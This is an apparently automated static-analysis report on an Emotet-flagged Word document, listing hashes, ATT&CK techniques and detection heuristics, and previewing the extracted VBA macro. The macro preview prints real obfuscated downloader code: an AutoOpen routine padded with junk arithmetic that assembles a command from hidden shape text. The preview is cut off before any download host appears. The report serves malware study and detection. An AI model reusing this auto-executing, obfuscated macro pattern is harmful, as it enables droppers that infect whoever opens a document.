Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7b11207b603642a1…

MALICIOUS

Office (OLE)

145.5 KB Created: 2018-11-28 12:05:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: e388430688a39d29501ab80b6277a887 SHA-1: c1bca0a02078f749d701a8c9221887bbc8645fc1 SHA-256: 7b11207b603642a122569fee4489aed5e8f5cee80c8491a2d32cc71cd2703e4f
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros, specifically an AutoOpen macro. The macro utilizes the dangerous COM class WScript.Shell and attempts to execute obfuscated PowerShell commands. This behavior is characteristic of Emotet, which often uses macro-enabled documents to download and execute further stages of malware. The ClamAV detection also confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6826435-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826435-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7850 bytes
SHA-256: 198ff1a7f3183d00545b507d062ba9b64c7272f6b3483c932ebbf994021f60f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PfAGmOG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case BjBzh
      Case 60615032
         PvkarRTl = CBool(OzBVak)
         tDKszJVdC = 100082315
      Case 302068318
         XiYccA = Atn(zSSjOZlIU)
         oYjRmIw = Atn(147723858 * CLng(108045589))
   End Select
         For Each FaHXcXAO In qXZVakcb
         wSLBBFN = KBlZbGLNu * CDate(LuDqZWW * zPDIjKh) * azaEYBK / Sin(NwdMORNH) / LRjTFtof + 155451724 - 37270305 + Chr(326839218) + (BVbsBfOn * AJkSdatJ)
Next
   On Error Resume Next
Select Case BdVVBic
      Case 151480484
         OvRjPLT = CBool(jhjFh)
         ZiFvJdGn = 107893051
      Case 78023260
         NBGFiI = Atn(JGwEXHMj)
         UjKoQ = Atn(132611570 * CLng(303976777))
   End Select
         For Each rviStUafF In CKMwFY
         wamUGwjaZ = HGXzsHJO * CDate(aQPmVZSo * YrYal) * UtHbkwzsU / Sin(TZhVJDCh) / whhoRvn + 70417550 - 162543568 + Chr(10264865) + (NjUjdzzi * maXvEBA)
Next
Set CvcUsAGV = Shapes("qAUosho")
   On Error Resume Next
Select Case aOcztUKwJ
      Case 56016464
         poPvnb = CBool(jiDOm)
         MfSXr = 240462018
      Case 300944904
         KzFiTPSW = Atn(WzGlsG)
         dVKaZEuM = Atn(186179359 * CLng(151877692))
   End Select
         For Each OBmEYOWf In KMTMrKQhO
         UUYnuVaT = GDsGwd * CDate(UfRbr * MQUQBz) * OnMwwCRp / Sin(siwvHZ) / SGXjnqkP + 256991484 - 263095075 + Chr(34694560) + (ISdUc * zSqtKtLO)
Next
   On Error Resume Next
Select Case lJlDFtl
      Case 276439708
         sYRHn = CBool(TbSboSa)
         uZhKVD = 210624892
      Case 43922874
         qQmqzoo = Atn(YLMHoF)
         iTXNjV = Atn(100805669 * CLng(57056009))
   End Select
         For Each wriXjQ In XlwaqAmW
         dJQGOEFT = fBjSXEb * CDate(brGJR * IZoVqiVi) * AaFLwCzu / Sin(LBDOFFOt) / jYuQiMbIj + 168658881 - 231804082 + Chr(100111578) + (ABUfrRtc * izUzP)
Next
PBphCt = "" + jvOOV + dwHndCK + vYDzLI + GvYwd + CvcUsAGV.TextFrame.TextRange.Text + BwBhKYU + kzjKrz + QTpNobP + zjhiOBq
   On Error Resume Next
Select Case aaTti
      Case 33912553
         nuwEEwDOt = CBool(YUFzfqNU)
         qqtRBim = 237970973
      Case 299508520
         dQlwcOWVr = Atn(pMjipaN)
         MvjGZKOI = Atn(303791183 * CLng(190103852))
   End Select
         For Each VRLKQQTmX In jJVVpii
         PcbUD = wOWqahU * CDate(taVNdC * NVnqGd) * OkkckwiA / Sin(BOoLBt) / LpHPPuA + 181166776 - 34339666 + Chr(184662158) + (CGndwuMAm * wzWpt)
Next
   On Error Resume Next
Select Case wRZBipOww
      Case 129604512
         kvVhuf = CBool(qULqlq)
         nEcRGmhpi = 120077165
      Case 166332984
         qITFCB = Atn(lClkMRjwa)
         mGjjLqkmj = Atn(293160600 * CLng(216917033))
   End Select
         For Each vRDIjpEX In IorEnB
         PAZqGz = LsbiRiTVI * CDate(CHUjDi * sDbdRpiXo) * WjSqcw / Sin(rPHKmov) / fdCjhoLR + 232599555 - 328349600 + Chr(16930173) + (OuDzHcS * oqWZLuoob)
Next
   On Error Resume Next
Select Case mkrcRbvtj
      Case 282016637
         DzWUcnYfA = CBool(jmpSoooi)
         ZidciC = 55021785
      Case 308905229
         bwtLhKp = Atn(sBOwAbc)
         FzBJcn = Atn(50183106 * CLng(97991111))
   End Select
         For Each ROZWoR In szDEtV
         fdSvn = PYGAQc * CDate(Hlwoo * tQvPzEj) * GAXYTktVf / Sin(rUwDs) / YGLNM + 46504646 - 23177517 + Chr(98868470) + (PbnjOS * EWJYjcwrL)
Next
   On Error Resume Next
Select Case NjFwKBCF
      Case 301711016
         jlFtiaJKj = CBool(LwvPDr)
         wRzlUCk = 170421436
      Case 186570219
         hZvJakn = Atn(NJZGEi)
         kJURl = Atn(274684494 * CLng(310447291))
   End Select
         For Each WEnwEP In UTGDbloB
         LHDphFrM = cjsPIq * CDate(mFYFmojz * oGABCXw) * jGdmF / Sin(RMbdbfrF) / PWpfPv + 336441552 - 150723544 + Chr(161004475) + (LszqL * FnjjCN)
Next
   On Error Resume Next
Se
... (truncated)

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